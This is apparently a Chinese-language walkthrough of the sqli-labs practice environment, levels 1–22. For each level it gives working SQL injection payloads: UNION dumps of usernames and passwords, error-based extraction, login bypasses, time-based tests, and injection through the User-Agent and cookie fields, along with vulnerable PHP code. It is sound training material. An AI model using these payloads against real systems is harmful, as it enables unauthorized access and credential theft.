这一部分是比较基础的SQL注入练习,适合入门。
考点在图中已经都说明了。
常用闭合方式:
单引号''
、双引号""
、括号()
、括号+单引号('')
、多层括号+单引号,例((((((((''))))))))
。另外mysql还可以使用括号+双引号("")
和多层括号+双引号((((((((""))))))))
less-1 get基础
请求方式:get
拼接方式:id=‘$id’
注入类型:联合、报错、布尔、延时
payload:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
less-2
请求方式:get
拼接方式:id=$id
注入类型:联合、报错、布尔、延时
payload:参考less-1
less-3
请求方式:get
拼接方式:id=('$id')
注入类型:联合、报错、布尔、延时
payload:参考less-1
less-4
请求方式:get
拼接方式:id=("$id")
注入类型:联合、报错、布尔、延时
payload:参考less-1
less-5
请求方式:get
拼接方式:id='$id'
注入类型:报错、布尔、延时
payload:?id=1' and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a )--+
less-6
请求方式:get
拼接方式:id="$id"
注入类型:报错、布尔、延时
payload:参考less-5
less-7
请求方式:get
拼接方式:id=(('$id'))
注入类型:布尔、延时
测试:?id=1')) and 1=1 --+
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
用SQLMAP跑一下:
less-8
请求方式:get
拼接方式:id='$id'
注入类型:布尔、延时
测试:?id=1' and 1=1 --+
less-9
请求方式:get
拼接方式:id='$id'
注入类型:延时
测试:?id=1' and sleep(5) --+
less-10
请求方式:get
拼接方式:id="$id"
注入类型:延时
测试:?id=1" and sleep(5) --+
less-11 post基础
从这里开始请求方式变为了post,post不能传输某些特殊字符,所以将+号替换成空格
这里没有对输入做任何的过滤,所以可以很轻松的登录进去
#注释掉 passwd 来登录
uname=admin'-- &passwd=1&submit=Submit
uname=admin'#&passwd=1&submit=Submit
#注释后面语句 并 添加一个永真条件
uname=admin&passwd=1' or 1-- &submit=Submit
uname=admin&passwd=1'||1-- &submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1#&submit=Submit
#闭合后面语句 并 添加一个永真条件
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
获取账号密码方式和less-1差不多
请求方式:post
拼接方式:username=’$username’
注入类型:联合,报错,布尔,延时
payload:uname=admin&passwd=1’union select 1,group_concat(username,password) from users#&submit=Submit
SQLmap跑一跑:
用burpsuite拦截包后保存为post.txt
发现存在四种方式的漏洞:
查看账号密码:
less-12
请求方式:post
拼接方式:username=("$uname")
注入类型:联合,报错,布尔,延时
测试:uname=admin")#&passwd=1&submit=Submit
less-13
请求方式:post
拼接方式:username=('$uname')
注入类型:报错,布尔,延时
测试:uname=admin')#&passwd=1&submit=Submit
登录以后只提示登录成功,所以不能使用联合注入
less-14
请求方式:post
拼接方式:username="$uname"
注入类型:报错,布尔,延时
测试:uname=admin"#&passwd=1&submit=Submit
less-15
请求方式:post
拼接方式:username='$uname'
注入类型:布尔,延时
测试:uname=admin'#&passwd=1&submit=Submit
less-16
请求方式:post
拼接方式:username=("$uname")
注入类型:布尔,延时
测试:uname=admin")#&passwd=1&submit=Submit
less-17
这里开始不再是让你登录了,让你修改密码:
查看源码发现这里对于用户输入的用户名做了过滤,’、"、\等特殊符号被转义了。但是对于输入的新密码却没有检查。
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
所以要从new password突破,当用户名输入admin,新密码输入1’时:
提示了报错信息,所以可以使用报错注入:
uname=admin&passwd=1’ and (select 1 from (select count(*),concat((select concat(username,password) from users limit 1,1),floor(rand(0)*2)) x from information_schema.tables group by x) a )&submit=Submit
less-18 http字段的利用
请求方式 post
闭合方式 '
注入方式 联合,报错,布尔,延时
注入点 user-agent字段
关键部分代码:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
if(查询成功)
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error());
}
else
{
print_r(mysql_error());
}
}
这里对用户名和密码都做了过滤,突破点在$insert语句。
我们经常用:HTTP_X_FORWARDED_FOR来伪造IP,但是这里使用的是REMOTE_ADDR无法修改,所以只能通过修改User-Agent。
因为这里会显示报错信息,所以可以使用基于错误的注入:
1 ’ and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a ) and ‘1’='1
由于是插入语句,所以加上and ‘1’='1用于闭合。
less-19
19和18差不多
正常登陆以后提示:
修改refer字段即可:
less-20 cookie利用
请求方式:post
闭合方式 :'
注入方式 :联合,报错,布尔,延时
注入点 :cookie字段
登陆进去以后:
给出了cookie的一些信息,按f12查看cookie信息,将uname改为admin’试一下:
报错了,试一下group by:
联合查询:
使用SQLMAP level2跑一下也能发现存在四种方式的注入:
注意这里用的是cookie包
less-21
请求方式 :post
闭合方式 :')
注入方式 :报错,布尔,延时
注入点: cookie字段(base64)
与less20不同的是,这里cookie值采用了base64编码
SQLMAP需要制定 --tamper参数来设置payload的编码:
less-22
请求方式 :post
闭合方式 :"
注入方式 :联合,布尔,延时
注入点: cookie字段(base64)
这里SQLMAP扫出来是说有error-based,但是实际上报错时只会显示一张图片:
参考:https://www.sqlsec.com/2020/05/sqlilabs.html#toc-heading-36